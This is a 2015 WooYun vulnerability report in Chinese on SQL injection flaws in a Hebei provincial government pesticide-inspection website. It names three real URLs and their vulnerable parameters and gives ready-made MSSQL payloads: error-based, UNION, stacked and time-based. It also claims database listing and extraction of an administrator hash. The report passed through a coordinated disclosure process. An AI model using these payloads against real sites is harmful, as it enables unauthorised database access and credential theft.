当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100508

漏洞标题:河北省农药检定所SQL注入集合(mssql)

相关厂商:cncert

漏洞作者: ucifer

提交时间:2015-03-11 15:24

修复时间:2015-04-25 15:26

公开时间:2015-04-25 15:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-26: 细节向核心白帽子及相关领域专家公开
2015-04-05: 细节向普通白帽子公开
2015-04-15: 细节向实习白帽子公开
2015-04-25: 细节向公众公开

简要描述:

多个sql注入打包一起发了...

详细说明:

1.http://www.heica.gov.cn/search/gongqiu.php?KeyWord=1

Place: GET
Parameter: KeyWord
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: KeyWord=1%' AND 6722=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(121)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6722=6722) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(117)+CHAR(121)+CHAR(103)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: KeyWord=1%' UNION ALL SELECT CHAR(113)+CHAR(120)+CHAR(121)+CHAR(118)+CHAR(113)+CHAR(113)+CHAR(119)+CHAR(117)+CHAR(108)+CHAR(72)+CHAR(97)+CHAR(117)+CHAR(116)+CHAR(89)+CHAR(119)+CHAR(113)+CHAR(117)+CHAR(121)+CHAR(103)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: KeyWord=1%'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: KeyWord=1%' WAITFOR DELAY '0:0:5'--


2.http://www.heica.gov.cn/search/xinxi.php?KeyWord=1&type=新闻中心
KeyWord也可以注入,payload同1

Place: GET
Parameter: type
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: KeyWord=1&type=新闻中心' AND 8452=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(106)+CHAR(121)+CHAR(113)+(SELECT (CASE WHEN (8452=8452) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(102)+CHAR(120)+CHAR(113))) AND 'aihC'='aihC
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: KeyWord=1&type=新闻中心' AND 5068=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'xctt'='xctt


3.http://www.heica.gov.cn/shengwuceding/more.php?type=2

Place: GET
Parameter: type
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: type=1' AND 4456=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(97)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (4456=4456) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(114)+CHAR(113)+CHAR(113))) AND 'HGbN'='HGbN
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: type=1' AND 8682=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'waor'='waor

漏洞证明:

可列库--

QQ截图20150310160846.png


注出的administrator的hash--

QQ截图20150310160956.png

修复方案:

过滤

版权声明:转载请注明来源 ucifer@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-16 12:47

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。

最新状态:

暂无